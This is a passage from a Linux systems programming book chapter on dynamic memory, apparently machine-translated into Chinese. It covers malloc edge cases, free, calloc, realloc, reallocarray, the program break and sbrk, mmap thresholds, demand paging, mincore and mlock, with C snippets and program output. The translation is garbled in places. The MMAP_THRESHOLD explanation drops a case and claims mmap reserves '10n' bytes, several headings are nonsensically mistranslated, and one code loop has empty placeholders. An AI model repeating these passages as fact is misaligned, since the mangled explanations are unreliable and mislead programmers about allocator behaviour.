- -以下是在 x86_64 Linux 计算机上运行时的输出: - -```sh -*** negative_malloc() *** -size_t max = 18446744073709551616 -ld_num2alloc = -288225969623711744 -szt_num2alloc = 18158518104085839872 -1\. long int used: malloc(-288225969623711744) returns (nil) -2\. size_t used: malloc(18158518104085839872) returns (nil) -3\. short int used: malloc(6144) returns 0x136b670 -4\. short int used: malloc(-4096) returns (nil) -5\. size_t used: malloc(18446744073709547520) returns (nil) -``` - -以下是相关的变量声明: - -```sh -const size_t onePB = 1125899907000000; /* 1 petabyte */ -int qa = 28*1000000; -long int ld_num2alloc = qa * onePB; -size_t szt_num2alloc = qa * onePB; -short int sd_num2alloc; -``` - -现在,让我们用该程序的 32 位版本尝试一下。 - -Note that on a default-install Ubuntu Linux box, the 32-bit compile may fail (with an error such as `fatal error: bits/libc-header-start.h: No such file or directory`*)*. Don't panic: this usually implies that the compiler support for building 32-bit binaries isn't present by default. To get it (as mentioned in the Hardware-Software List document), install the `multilib` compiler package: `sudo apt-get install gcc-multilib`. - -将其编译为 32 位版本并运行: - -```sh -$ ./mallocmax32 -*** max_malloc() *** -sizeof size_t = 4; max param to malloc = 4294967296 -*** negative_malloc() *** -size_t max = 4294967296 -ld_num2alloc = 0 -szt_num2alloc = 1106247680 -1\. long int used: malloc(-108445696) returns (nil) -2\. size_t used: malloc(4186521600) returns (nil) -3\. short int used: malloc(6144) returns 0x85d1570 -4\. short int used: malloc(-4096) returns (nil) -5\. size_t used: malloc(4294963200) returns (nil) -$ -``` - -公平地说,编译器确实警告我们: - -```sh -gcc -Wall -c -o mallocmax.o mallocmax.c -mallocmax.c: In function ‘negative_malloc’: -mallocmax.c:87:6: warning: argument 1 value ‘18446744073709551615’ exceeds maximum object size 9223372036854775807 [-Walloc-size-larger-than=] - ptr = malloc(-1UL); - ~~~~^~~~~~~~~~~~~~ -In file included from mallocmax.c:18:0: -/usr/include/stdlib.h:424:14: note: in a call to allocation function ‘malloc’ declared here - extern void *malloc (size_t __size) __THROW __attribute_malloc__ __wur; - ^~~~~~ -[...] -``` - -有意思的!。 编译器现在回答我们的*常见问题 1*的问题: - -```sh -[...] warning: argument 1 value ‘18446744073709551615’ *exceeds maximum object size* *9223372036854775807* [-Walloc-size-larger-than=] [...] -``` - -根据编译器可以分配的最大值似乎是**`9223372036854775807`**。 - -哇。 少量计算器时间显示这是 8192PB=8EB! 因此,我们必须得出上一个问题的正确答案:*一次调用 malloc 可以分配多少内存?*答案:*8EB*。 再说一次,从理论上讲。 - -* 常见问题 3:如果我使用`malloc(0)`怎么办? - -不是很多;根据实现的不同,`malloc(3)`将返回 NULL 或一个可以传递给 FREE 的非 NULL 指针。 当然,即使指针非空,也没有内存,所以不要尝试使用它。 - -让我们试试看: - -```sh - void *ptr; - ptr = malloc(0); - free(ptr); -``` - -我们编译它,然后通过`ltrace`运行它: - -```sh -$ ltrace ./a.out -malloc(0) = 0xf50260 -free(0xf50260) = -exit(0 -+++ exited (status 0) +++ -$ -``` - -这里,`malloc(0)`确实返回了一个非空指针。 - -* 常见问题 4:如果我使用`malloc(2048)`并尝试读/写超过 2,048 个字节,该怎么办? - -这当然是一个 bug--一种越界的内存访问 bug,进一步定义为读或写缓冲区溢出。 请稍等,有关内存错误(以及随后如何查找和修复它们)的详细讨论是[第 5 章](05.html)、*Linux 内存问题*和[第 6 章](06.html)以及*内存问题调试工具*的主题。 - -# Malloc(3):快速摘要 - -因此,让我们总结一下关于`malloc(3)`API 使用的要点: - -* `malloc(3)`动态(在运行时)从进程堆分配内存 - * 我们很快就会了解到,情况并不总是如此。 -* `malloc(3)`的单个参数是一个无符号整数值-要分配的字节数 -* 如果成功,返回值是指向新分配内存块开始的指针;如果失败,则返回值为 NULL: - * 你必须检查失败的情况,不要只假定它会成功 - * `malloc(3)`始终返回与 8 字节边界对齐的内存区域 -* 新分配的存储区的内容被认为是随机的 - * 您必须先对其进行初始化,然后才能读取它的任何部分 -* 您必须释放分配的内存 - -# 免费的 API - -在这个生态系统中,开发的黄金规则之一是必须释放程序员分配的内存。 - -如果做不到这一点,就会导致一种糟糕的情况--一个 bug,实际上就是所谓的**内存泄漏**;这将在下一章中进行一些深入的讨论。 仔细匹配您的分配和自由是至关重要的。 - -Then again, in smaller real-world projects (utils), you do come across cases where memory is allocated exactly once; in such cases, freeing the memory is pedantic as the entire virtual address space is destroyed upon process-termination. Also, using the *alloca(3)* API implies that you do not need to free the memory region (seen later in, *Advanced features *section). Nevertheless, you are advised to err on the side of caution! - -使用`free(3)`API 非常简单: - -`void free(void *ptr);` - -它接受一个参数:指向要释放的内存块的指针。`ptr`必须是由`malloc(3)`系列例程之一返回的指针:`malloc(3)`、`calloc`或`realloc[array]`。 - -`free`不返回任何值;甚至不要尝试检查它是否工作;如果使用正确,它就工作。 有关可用内存的更多信息,请参阅*一节中的*部分。 一旦释放了内存块,显然就不能再尝试使用该内存块的任何部分;这样做会导致错误(或所谓的**UB-未定义行为**)。 - -关于`free()`的一个常见误解有时会导致它以错误的方式使用;看看下面的伪代码片段: - -```sh -void *ptr = NULL; -[...] -while(**) { - if (!ptr) - ptr = malloc(n); - - [... - * * - ...] - - free(ptr); -} -``` - -这个程序在几次迭代后可能会在循环中崩溃(在``代码中)。 为什么? 因为`ptr`的内存指针已被释放,并且正在尝试重用。 但是为什么呢? 啊,仔细看一下:如果代码片段当前为 NULL,那么它只会指向第`ptr`个指针的`malloc(3)`,也就是说,它的程序员假设一旦我们`free()`内存,我们刚刚释放的指针就会被设置为 NULL。 不是这样的!! - -在编写代码时要保持警惕和防御性。 不要假设任何事情;这是大量错误的来源。(重要的是,我们的[章](19.html)、*故障排除和最佳实践*涵盖了这些要点) - -# 免费下载-提供快速摘要 - -因此,让我们总结一下有关使用*free*API 的要点: - -* 传递给`free(3)`的参数必须是`malloc(3)`系列 API(`malloc(3)`、`calloc`或`realloc[array]`)之一返回的值。 -* `free`没有返回值。 -* 调用`free(ptr)`不会将`ptr`设置为`NULL`(不过这会很好)。 -* 释放后,不要尝试使用释放的内存。 -* 不要多次尝试*释放*同一个内存块(这是一个错误-UB)。 -* 目前,我们假设释放的内存返回到系统。 -* 看在上帝的份上,别忘了释放之前动态分配的内存。 据说被遗忘的记忆已经泄露了*,这真的是一个很难捕捉到的错误! 幸运的是,有一些工具可以帮助我们捕捉这些错误。 有关详细信息,请参阅[第 5 章](05.html)、*Linux 内存问题*、[第 6 章](06.html)、*内存问题调试工具*。* - - *# Calloc API - -`calloc(3)`API 与`malloc(3)`几乎相同,主要有两个方面的不同: - -* 它将其分配的内存块初始化为零值(即 ASCII 0 或 NULL,而不是数字`0`) -* 它接受两个参数,而不是一个 - -`calloc(3)`函数签名如下: - -` void *calloc(size_t nmemb, size_t size);` - -第一个参数`nmemb`是 n 个成员;第二个参数`size`是每个成员的大小。 实际上,`calloc(3)`分配了 1 个`(nmemb*size)`字节的内存块。 因此,如果您想要为一个由 1000 个整数组成的数组分配内存,可以这样做: - -```sh - int *ptr; - ptr = calloc(1000, sizeof(int)); -``` - -假设整数的大小是 4 字节,我们总共分配了(1000*4)=4000 字节。 - -无论何时需要内存用于项目数组(应用中的一个常见用例是结构数组),`calloc`是一种既可以分配内存又可以同时初始化内存的便捷方法。 - -Demand paging (covered later in this chapter), is another reason programmers use `calloc` rather than `malloc(3)` (in practice, this is mostly useful for realtime applications). Read up on this in the up coming section. - -# Realloc API - -`realloc`API 用于*调整*现有内存块的大小-增大或缩小它。 此调整大小只能在先前使用`malloc(3)`系列 API 之一分配的内存上执行(通常为:`malloc(3)`、`calloc`或`realloc[array]`)。 以下是它的签名: - -` void *realloc(void *ptr, size_t size);` - -第一个参数`ptr`是指向先前使用`malloc(3)`系列 API 之一分配的内存块的指针;第二个参数`size`是内存块的新大小-它可以大于或小于原始大小,从而增大或缩小内存块。 - -一个快速示例代码片段将帮助我们理解`realloc`: - -```sh -void *ptr, *newptr; -ptr = calloc(100, sizeof(char)); // error checking code not shown here -newptr = realloc(ptr, 150); -if (!newptr) { - fprintf(stderr, "realloc failed!"); - free(ptr); - exit(EXIT_FAILURE); -} -*< do your stuff >* -free(newptr); -``` - -`realloc`返回的指针是指向新调整大小的内存块的指针;它可能与原始的`ptr`地址相同,也可能不相同。 实际上,您现在应该完全忽略原始指针`ptr`,而将由 realloc 返回的`newptr`指针视为要使用的指针。 如果失败,则返回值为空(请检查!)。 并且原始内存块保持不变。 - -一个关键点:`realloc(3)`返回的指针,即`newptr`,是随后必须释放的指针,*而不是*,即指向(现在已调整大小的)内存块的原始指针(`ptr`)。 当然,不要试图释放两个指针,因为这是一个错误。 - -那么刚刚调整大小的内存块的内容呢? 它们在`MIN(original_size, new_size)`之前保持不变。 因此,在前面的示例`MIN(100, 150) = 100`中,最大 100 字节的内存内容将保持不变。 剩余的(50 字节)怎么办? 它被认为是随机内容(就像`malloc(3)`一样)。 - -# Realloc(3)-角案例 - -请考虑以下代码片段: - -```sh -void *ptr, *newptr; -ptr = calloc(100, sizeof(char)); // error checking code not shown here -newptr = realloc(NULL, 150); -``` - -传递给`realloc`的指针是`NULL`吗? 图书馆认为这相当于一个新的分配模式`malloc(150)`;而`malloc(3)`模式的所有含义就是这样。 - -现在,考虑以下代码片段: - -```sh -void *ptr, *newptr; -ptr = calloc(100, sizeof(char)); // error checking code not shown here -newptr = realloc(ptr, 0); -``` - -传递给`realloc`的大小参数是`0`? 库将其视为等同于`free(ptr)`*。* 就是这样。 - -# Reallocarray API - -一个场景是:您使用`calloc(3)`为数组分配内存;稍后,您想要调整它的大小,比方说,大得多。 我们可以使用`realloc(3)`来执行此操作;例如: - -```sh -struct sbar *ptr, *newptr; -ptr = calloc(1000, sizeof(struct sbar)); // array of 1000 struct sbar's -[...] -// now we want 500 more! -newptr = realloc(ptr, 500*sizeof(struct sbar)); -``` - -很好。 不过,还有一种更简单的方法-使用`reallocarray(3)`API。 其签名如下: - -` void *reallocarray(void *ptr, size_t nmemb, size_t size);` - -有了它,代码就变得更简单了: - -```sh -[...] -// now we want 500 more! -newptr = reallocarray(ptr, 500, sizeof(struct sbar)); -``` - -`reallocarray`的返回值与`realloc`API 的返回值非常相同:成功时是指向调整大小的内存块的新指针(可能与原始的不同),失败时是指向`NULL`的新指针。 如果失败,原始内存块将保持不变。 - -`reallocarray`与`realloc`相比有一个真正的优势-安全性。 从*realloc(3)的手册页*可以看到以下代码片段: - -```sh -... However, unlike that realloc() call, reallocarray() fails safely in the case where the multiplication would overflow. If such an overflow occurs, reallocarray() returns NULL, sets errno to ENOMEM, and leaves the original block of memory unchanged. -``` - -还要认识到`reallocarray`API 是 GNU 扩展;它可以在现代 Linux 上工作,但不应被视为可移植到其他操作系统。 - -最后,考虑一下这一点:一些项目对其数据对象有严格的对齐要求;使用`calloc`*和*(甚至通过`malloc(3)`分配所述对象)可能会导致细微的错误! 在本章的后面部分,我们将使用`posix_memalign(3)`*和*API-它保证将内存分配给给定的字节对齐(指定字节数)! 例如,要求内存分配与页边界完全对齐是相当常见的情况(回想一下,malloc 总是返回在 8 字节边界上对齐的内存区域)。 - -底线是:要小心。 阅读文档,思考并决定在特定情况下哪种 API 是合适的。 有关这方面的更多信息,请参阅关于 GitHub 存储库的*进一步阅读*部分。 - -# 超越基本要素 - -在本节中,我们将更深入地研究`malloc(3)`API 系列的动态内存管理。 了解这些方面,以及[第 5 章](05.html)、*Linux 内存问题*和[第 6 章](06.html)以及*内存问题调试工具*的内容,将对帮助开发人员有效调试常见的内存错误和问题大有裨益。 - -# 程序中断 - -当进程或线程需要内存时,它会调用一个动态内存例程-通常是`malloc(3)`或`calloc(3)`;该内存(通常)来自**堆段**。 如前所述,堆是一个动态段-它可以增长(朝向更高的虚拟地址)。 但显然,在任何给定的时间点,堆都有一个端点或顶部,超出这个端点或顶部,内存就不能被占用。 这个端点-堆上最后一个合法可引用的位置-称为**程序中断**。 - -# 使用 sbrk()API - -那么,你怎么知道当前的节目中断在哪里呢? 这很简单-当`sbrk(3)`API 与参数值零一起使用时,它返回当前的程序中断! 让我们快速查找一下: - -```sh -#include -[...] - printf("Current program break: %p\n", sbrk(0)); -``` - -当前面的代码行运行时,您将看到一些示例输出,如下所示: - -```sh -$ ./show_curbrk -Current program break: 0x1bb4000 -$ ./show_curbrk -Current program break: 0x1e93000 -$ ./show_curbrk -Current program break: 0x1677000 -$ -``` - -它是有效的,但是为什么程序中断值一直在变化(似乎是随机的)? 实际上,它*是*随机的:出于安全原因,Linux 将进程的虚拟地址空间的布局随机化(我们在[第 2 章](02.html),*虚拟内存*中介绍了进程 VAS 布局)。 这种技术称为**地址空间布局随机化**(**ASLR**)。 - -让我们做更多的事情:我们将编写一个程序,如果在没有任何参数的情况下运行,它只显示当前的程序中断并退出(就像我们刚才看到的那样);如果传递一个参数--要动态分配的内存字节数--它就会这样做(使用`malloc(3)`),然后打印返回的堆地址以及原始和当前的程序中断。 在这里,您只能请求小于 128KB 的内容,原因稍后会清楚说明。 - -请参阅`ch4/show_curbrk.c`: - -```sh -int main(int argc, char **argv) -{ - char *heap_ptr; - size_t num = 2048; - - /* No params, just print the current break and exit */ - if (argc == 1) { - printf("Current program break: %p\n", sbrk(0)); - exit(EXIT_SUCCESS); - } - - /* If passed a param - the number of bytes of memory to - * dynamically allocate - perform a dynamic alloc, then - * print the heap address, the current break and exit. - */ - num = strtoul(argv[1], 0, 10); - if ((errno == ERANGE && num == ULONG_MAX) - || (errno != 0 && num == 0)) - handle_err(EXIT_FAILURE, "strtoul(%s) failed!\n", argv[1]); - if (num >= 128 * 1024) - handle_err(EXIT_FAILURE, "%s: pl pass a value < 128 KB\n", - argv[0]); - - printf("Original program break: %p ; ", sbrk(0)); - heap_ptr = malloc(num); - if (!heap_ptr) - handle_err(EXIT_FAILURE, "malloc failed!"); - printf("malloc(%lu) = %16p ; curr break = %16p\n", - num, heap_ptr, sbrk(0)); - free(heap_ptr); - - exit(EXIT_SUCCESS); -} -``` - -让我们试试看: - -```sh -$ make show_curbrk && ./show_curbrk [...] -Current program break: 0x1247000 -$ ./show_curbrk 1024 -Original program break: 0x1488000 ; malloc(1024) = 0x1488670 ; -curr break = 0x14a9000 -$ -``` - -很有趣(见下图)! 对于 1024 字节的分配,返回到该内存块开头的堆指针是`0x1488670`;也就是从原始中断开始的`0x1488670 - 0x1488000 = 0x670 = 1648`字节。 - -此外,新的中断值是`0x14a9000`,即`(0x14a9000 - 0x1488670 = 133520)`,距离新分配的块大约 130KB。 为什么只有 1KB 的分配,堆就会增长这么多? 耐心;这一点以及更多内容将在下一节,即 malloc(3)的实际行为*中进行研究。* 同时,请参阅下图: - -![](img/ecb44780-bcc1-448b-9677-5f2fa6f43f36.png) - -Heap and the Program Break With respect to the preceding diagram: - -```sh -Original program break = 0x1488000 -heap_ptr = 0x1488670 -New program break = 0x14a9000 -``` - -请注意,`sbrk(2)`可用于递增或递减程序中断(通过向其传递整数参数)。 乍一看,这似乎是分配和释放动态内存的好方法;实际上,使用文档齐全且可移植的 glibc 实现(`malloc(3)`系列 API)总是更好的。 - -`sbrk` is a convenient library wrapper over the `brk(2)` system call. - -# Malloc(3)的实际行为 - -普遍的共识是`malloc(3)`(以及`calloc(3)`和`realloc[array](3)`)从堆段获取其内存。 确实是这样,但深入挖掘会发现*并不总是*。 现代的 glibc`malloc(3)`引擎使用一些微妙的策略来最优化地利用可用内存区域和进程 VA--特别是在当今的 32 位系统上,它们正迅速成为一种相当稀缺的资源。 - -那么,它是如何工作的呢? 该库使用预定义的*`MMAP_THRESHOLD`*变量*(默认情况下其值为 128 KB)来确定内存分配的位置。 假设我们使用 malloc(N)分配了第*n*字节的内存: - -* 如果*n=MMAP_THRESHOLD*,并且如果 n 字节在堆的空闲列表上不可用,则使用虚拟地址空间的任意空闲区域来满足请求的*n*字节分配 - -在第二种情况下,内存究竟是如何分配的? 啊,`malloc(3)`内部调用`mmap(2)`-内存映射系统调用。 `mmap`系统调用非常通用。 在这种情况下,会使其保留调用进程的虚拟地址空间的 10n 字节的空闲区域! - -Why use `mmap(2)`? The key reason is that mmap-ed memory can always be freed up (released back to the system) in an independent fashion whenever required; this is certainly not always the case with `free(3)`. - -Of course, there are some downsides: `mmap` allocations can be expensive because, the memory is page-aligned (and could thus be wasteful), and the kernel zeroes out the memory region (this hurts performance). - -The `mallopt(3)` man page (circa December 2016) also notes that nowadays, glibc uses a dynamic mmap threshold; initially, the value is the usual 128 KB, but if a large memory chunk between the current threshold and `DEFAULT_MMAP_THRESHOLD_MAX` is freed, the threshold is increased to become the size of the freed block. - -# 代码示例 1-malloc(3)和程序中断 - -我们可以亲眼看到`malloc(3)`分配对堆和进程虚拟地址空间的影响,这很有趣,也很有教育意义。 查看以下代码示例的输出(源代码位于本书的 Git 存储库中): - -```sh -$ ./malloc_brk_test -h -Usage: ./malloc_brk_test [option | --help] - option = 0 : show only mem pointers [default] - option = 1 : opt 0 + show malloc stats as well - option = 2 : opt 1 + perform larger alloc's (over MMAP_THRESHOLD) - option = 3 : test segfault 1 - option = 4 : test segfault 2 --h | --help : show this help screen -$ -``` - -这个应用中有几个场景在运行;现在让我们来看看其中的一些场景。 - -# 场景 1-默认选项 - -我们不带参数运行`malloc_brk_test`程序,即使用默认值: - -```sh -$ ./malloc_brk_test - init_brk = 0x1c97000 - #: malloc( n) = heap_ptr cur_brk delta - [cur_brk-init_brk] - 0: malloc( 8) = 0x1c97670 0x1cb8000 [135168] - 1: malloc( 4083) = 0x1c97690 0x1cb8000 [135168] - 2: malloc( 3) = 0x1c98690 0x1cb8000 [135168] -$ -``` - -该进程打印出其初始程序中断值:`0x1c97000`。 然后它只分配 8 个字节(通过`malloc(3)`API);在幕后,glibc 分配引擎调用*sbrk(2)*系统调用函数来增加堆;新的中断现在是`0x1cb8000`,比前一个中断增加了 135,168 字节=132KB(在前面代码的`delta`列中可以清楚地看到)! - -为什么? 优化:glibc 预计,在未来,该进程将需要更多的堆空间;它不会每次都调用系统调用(*`sbrk/brk`)*,而是执行一个较大的堆增长操作。 接下来的两个`malloc(3)`个 API(最左列中的数字 1 和 2)证明了这一点:我们分别分配了 4,083 和 3 个字节,您注意到了什么? 程序中断不会*更改*-堆已经足够大,足以容纳请求。 - -# 场景 2-显示 malloc 统计数据的数据 - -这一次,我们传递了参数`1`,要求它也显示`malloc(3)`统计信息(使用`malloc_stats(3)`API 实现): - -```sh -$ ./malloc_brk_test 1 - init_brk = 0x184e000 - #: malloc( n) = heap_ptr cur_brk delta - [cur_brk-init_brk] - 0: malloc( 8) = 0x184e670 0x186f000 [135168] -Arena 0: -system bytes = 135168 -in use bytes = 1664 -Total (incl. mmap): -system bytes = 135168 -in use bytes = 1664 -max mmap regions = 0 -max mmap bytes = 0 - - 1: malloc( 4083) = 0x184e690 0x186f000 [135168] -Arena 0: -system bytes = 135168 -in use bytes = 5760 -Total (incl. mmap): -system bytes = 135168 -in use bytes = 5760 -max mmap regions = 0 -max mmap bytes = 0 - - 2: malloc( 3) = 0x184f690 0x186f000 [135168] -Arena 0: -system bytes = 135168 -in use bytes = 5792 -Total (incl. mmap): -system bytes = 135168 -in use bytes = 5792 -max mmap regions = 0 -max mmap bytes = 0 -``` - -输出类似,除了程序调用有用的`malloc_stats(3)`API,该 API 查询`malloc(3)`状态信息并将其打印到`stderr`(顺便说一句,竞技场是由`malloc(3)`引擎在内部维护的分配区域)。 从此输出中,请注意: - -* 可用的空闲内存(系统字节数)为 132 KB(执行微小的 8 字节`malloc(3)`后) -* 每次分配时使用的字节数都会增加,但系统字节数保持不变 -* `mmap`区域和`mmap`字节为零,因为没有发生基于 mmap 的分配。 - -# 情景 3-选择大笔拨款选项 - -这一次,我们传递参数`2`,要求程序执行更大的分配(大于`MMAP_THRESHOLD`): - -```sh -$ ./malloc_brk_test 2 - init_brk = 0x2209000 - #: malloc( n) = heap_ptr cur_brk delta - [cur_brk-init_brk] -[...] - - 3: malloc( 136168) = 0x7f57288cd010 0x222a000 [135168] -Arena 0: -system bytes = 135168 -in use bytes = 5792 -Total (incl. mmap): -system bytes = 274432 -in use bytes = 145056 -max mmap regions = 1 -max mmap bytes = 139264 - - 4: malloc( 1048576) = 0x7f57287c7010 0x222a000 [135168] -Arena 0: -system bytes = 135168 -in use bytes = 5792 -Total (incl. mmap): -system bytes = 1327104 -in use bytes = 1197728 -max mmap regions = 2 -max mmap bytes = 1191936 - -$ -``` - -(请注意,在前面的代码中,我们剪切了前两个小分配的输出,并且只显示了相关的大分配)。 - -现在,我们分配了 132KB(前面输出中的第 3 点);需要注意的事项如下: - -* 分配(#3 和#4)用于 132 KB 和 1 MB 内存-均高于`MMAP_THRESHOLD`(值 128 KB) -* 在这两个分配中,(Arena 0)堆*正在使用的字节*和(5792)的*没有*完全改变,这表明堆内存*没有*被使用 -* 最大 mmap 区域和最大 mmap 字节数已更改为正值(从零),表示使用了 mmap-ed 内存 - -剩下的几个场景将在稍后讨论。 - -# 释放的内存到哪里去了? - -`free(3)`当然是一个库例程,因此当我们释放之前由一个动态分配例程分配的内存时,它不会被释放回系统,而是被释放到进程堆(当然,这是虚拟内存),这是合情合理的。 - -但是,至少有两种情况可能不会发生: - -* 如果通过*mmap*而不是通过堆段在内部满足分配,则会立即将其释放回系统 -* 在现代的 glibc 上,如果释放的堆内存量非常大,则会触发至少部分内存块返回到操作系统。 - -# 高级特征 - -现在将介绍一些高级功能: - -* 请求寻呼 -* 锁定 RAM 中的内存 -* 内存保护 -* 使用*分配(3)*进行分配 - -# 早安 - -我们大多数人都知道,如果一个进程使用`malloc`动态分配内存(假设它不分配`ptr = malloc(8192) ;`),那么假设成功,那么该进程现在将被分配 8KB 的物理 RAM。 这可能会让人大吃一惊,但在 Linux 等现代操作系统上,实际情况并非如此。 - -那么,到底是什么情况呢? (在本书中,我们不深入研究内核级别的细节。 此外,您可能知道,操作系统分配器级别的内存粒度为*页*,通常为 4KB。) - -It's not a good idea to assume anything when writing robust software. So, how can you correctly determine the page size on the OS? Use the `sysconf(3)` API; for example, `printf("page size = %ld\n", **sysconf(_SC_PAGESIZE)**);`, which outputs `page size = 4096`. - -Alternatively, use the `getpagesize(2)` system call to retrieve the system page size. (Importantly, see [Chapter 19](19.html), *Troubleshooting and Best Practices*, covering similar points in the section *A Programmer’s Checklist: 7 Rules*). - -实际上,nmalloc 所做的就是从进程 VAS 中保留虚拟内存页。 - -那么,该过程什么时候获得实际的物理页面呢? 啊,当进程实际窥视或戳到页面中的任何字节时,实际上,当它对页面的任何字节进行任何类型的访问(试图读/写/执行它)时,进程都会陷入操作系统中-通过称为页面故障的硬件异常-在操作系统的故障处理程序中,如果一切正常,操作系统会为虚拟页面分配物理页帧。 这种高度优化的将物理内存分配给进程的方式称为**按需分页**-只有在实际需要时才按需物理分配分页! 这与操作系统人员所说的内存或 VM 过量使用特性密切相关;是的,这是一个特性,而不是错误。 - -If you want to guarantee that physical page frames are allocated after a virtual allocation you can: - -* 对所有页面中的所有字节执行`malloc(3)`,然后执行[T1 -* 只需使用`calloc(3)`;它会将内存设置为零,从而使其在 - -On many implementations, the second method – using `calloc(3)` – is faster than the first. - -实际上正是因为有了按需分页,我们才能编写一个应用来释放 malloc 的大量内存;只要进程不试图读取、写入或执行所分配区域的任何(虚拟)页面中的任何字节,它就会工作。 显然,有许多现实世界中的应用设计得相当糟糕,它们做的正是这种事情:通过`malloc(3)`分配大量内存,以防万一我们需要它。 请求分页是操作系统的一种对冲手段,可以避免浪费大量的物理内存,而这些内存在实践中几乎不会被使用。 - -当然,作为一个敏锐的读者,你会意识到每一个好处都可能有坏处。 在这种情况下,可以想象这可能会发生在多个进程同时执行大内存分配的情况下。 如果它们都分配了很大一部分虚拟内存,然后想要几乎同时物理地认领这些页面,这将给操作系统带来巨大的内存压力! 你猜怎么着,操作系统绝对不能保证它会成功地为每个人提供服务。 事实上,在最坏的情况下,Linux 操作系统将运行物理 RAM 不足,以至于它必须调用一些有争议的组件-**内存不足**(**OOM**)Killer,它的工作是识别占用内存的进程并杀死它及其后代,从而回收内存并保持系统正常运行。 让你想起了黑手党,嗯。 - -同样,`malloc(3)`上的手册页清楚地记录了以下内容: - -```sh -By default, Linux follows an optimistic memory allocation strategy. This means that when malloc() returns non-NULL there is no guarantee that the memory really is available. In case it turns out that the system is out of memory, one or more processes will be killed by the OOM killer. -[...] -``` - -如果感兴趣,请参考 GitHub 存储库的*进一步阅读*部分中的参考资料进行更深入的挖掘。 - -# 是不是住院医生? - -既然我们清楚地理解了*malloc*和 Friends 分配的页面是虚拟的,并且不能保证得到物理帧的支持(至少一开始是这样),那么假设我们有一个指向(虚拟)内存区域的指针,并且我们知道它的长度。 我们现在想知道相应的页面是否在 RAM 中,也就是说,它们是否是常驻页面。 - -原来有一个可用的系统调用正好提供了这个信息:`mincore(2)`。 - -The `mincore(2)` system call is pronounced m-in-core, not min-core. Co*re *is an old word used to describe physical memory. - -让我们来看一下以下代码: - -```sh -#include -#include - -int mincore(void *addr, size_t length, unsigned char *vec); -``` - -给定起始虚拟地址和长度后,`mincore(2)`填充第三个参数,即向量数组。 调用成功返回后,对于向量数组的每个字节,如果设置了 LSB(最低有效位),则表示对应的页*驻留在*(在 RAM 中),否则不驻留(可能未分配或在交换中)。 - -可通过`mincore(2)`手册页[https://linux.die.net/man/2/mincore](https://linux.die.net/man/2/mincore)获取用法详细信息。 - -当然,您应该意识到,在页面驻留上返回的信息仅仅是内存页面状态在该时间点的快照:在我们的控制下,它可能会改变,也就是说,它本质上是(或可能是)非常短暂的。 - -# 锁定内存 - -我们知道,在基于虚拟内存的操作系统(如 Linux)上,用户模式页面可以在任何时间点进行交换;Linux 内核内存管理代码做出这些决定。 对于常规应用进程,这应该无关紧要:每当它试图访问(读、写或执行)页面内容时,内核都会将其分页到 RAM 中,并允许它像什么都没有发生一样使用它。 这种处理通常称为*服务页面错误*(还有更多内容,但就本讨论而言,这就足够了),并且对于用户模式应用进程是完全透明的。 - -但是,在某些情况下,不希望分页的内存页从 RAM 写到交换,反之亦然: - -* 实时应用 -* 密码学(安全)应用 - -在实时应用中,关键因素(至少在其关键代码路径内)是确定性*-*,即铁板一块地保证工作将花费一定的最坏情况下的时间,而不是更多,无论系统上的负载有多大。 - -假设实时进程正在执行关键代码路径,此时必须从交换分区调入数据页-引入的延迟(延迟)可能会破坏应用的特性,导致惨淡的故障(或更糟)。 在这些情况下,我们开发人员需要一种方法来保证所述内存页面可以保证驻留在 RAM 中,从而避免任何页面故障。 - -在某些类型的安全应用中,它们可能会在内存中存储一些秘密(密码、密钥);如果包含这些秘密的内存页被写出到磁盘(交换),那么在应用退出之后,它总是有可能留在磁盘上-导致所谓的信息泄漏,这是攻击者正等待着攻击的错误! 这里,再次强调,现在需要的是保证这些页面不会被换出。 - -进入`mlock(2)`(和 Friends:*mlock2*和*mlockall*)系统调用;这些 API 的明确目的是锁定调用进程的虚拟地址空间内的内存页。 让我们弄清楚如何使用`mlock(2)`。 以下是它的签名: - -`int mlock(const void *addr, size_t len);` - -第一个参数`addr`是指向要锁定的(虚拟)内存区域的指针;第二个参数`len`是要锁定到 RAM 中的字节数。 作为一个简单的示例,请看下面的代码(在这里,为了保持代码的易读性,我们没有显示错误检查代码;在实际的应用中,请这样做!) - -```sh -long pgsz = sysconf(_SC_PAGESIZE); -size_t len = 3*pgsz; - -void *ptr = malloc(len); - -[...] // initialize the memory, etc - -// Lock it! -if (mlock(ptr, len) != 0) { - // mlock failed, handle it - return ...; -} - -[...] /* use the memory, confident it is resident in RAM & will stay - there until unlocked */ - -munlock(ptr, len); // it's now unlocked, can be swapped -``` - -# 限制和特权 - -特权进程,无论是以*root*身份运行,还是通过设置`CAP_IPC_LOCK`能力位以锁定内存(我们将在各自的章节中详细描述进程凭证和功能-[第 7 章](07.html)、*进程凭证*和[第 8 章](08.html)、*进程能力*),都可以锁定无限大的内存。 - -从 Linux 2.6.9 开始,对于非特权进程,它受到最大`RLIMIT_MEMLOCK`个软资源限制(通常不会设置得很高)。 下面是一个关于 x86_64 Fedora 盒(以及 Ubuntu)的示例: - -```sh -$ prlimit | grep MEMLOCK -MEMLOCK max locked-in-memory address space 65536 65536 bytes -$ -``` - -它只有 64KB(默认情况下,在嵌入式 ARM Linux 上也是如此)。 - -At the time of writing this book, on a recent *Fedora 28* distro running on x86_64, the resource limit for max locked memory seems to have been amped up to 16 MB! The following *prlimit(1)* outputshows just this:   - -`$ prlimit | grep MEMLOCK` -`MEMLOCK     max locked-in-memory address space     16777216  16777216 bytes` -`$` - -不过,请稍等片刻;在使用 mlock(2)时,POSIX 标准要求`addr`与页边界对齐(即,如果获取内存起始地址并将其除以系统页大小,则余数将为零,即`(addr % pgsz) == 0`。 您可以使用`posix_memalign(3)`API 来保证这一点;因此,我们可以稍微更改代码以适应此对齐要求: - -请参阅以下内容(`ch4/mlock_try.c`): - -```sh -[...] -#define CMD_MAX 256 -static void disp_locked_mem(void) -{ - char *cmd = malloc(CMD_MAX); - if (!cmd) - FATAL("malloc(%zu) failed\n", CMD_MAX); - snprintf(cmd, CMD_MAX-1, "grep Lck /proc/%d/status", getpid()); - system(cmd); - free(cmd); -} - -static void try_mlock(const char *cpgs) -{ - size_t num_pg = atol(cpgs); - const long pgsz = sysconf(_SC_PAGESIZE); - void *ptr= NULL; - size_t len; - - len = num_pg * pgsz; - if (len >= LONG_MAX) - FATAL("too many bytes to alloc (%zu), aborting now\n", len); - -/* ptr = malloc(len); */ -/* Don't use the malloc; POSIX wants page-aligned memory for mlock */ - posix_memalign(&ptr, pgsz, len); - if (!ptr) - FATAL("posix_memalign(for %zu bytes) failed\n", len); - - /* Lock the memory region! */ - if (mlock(ptr, len)) { - free(ptr); - FATAL("mlock failed\n"); - } - printf("Locked %zu bytes 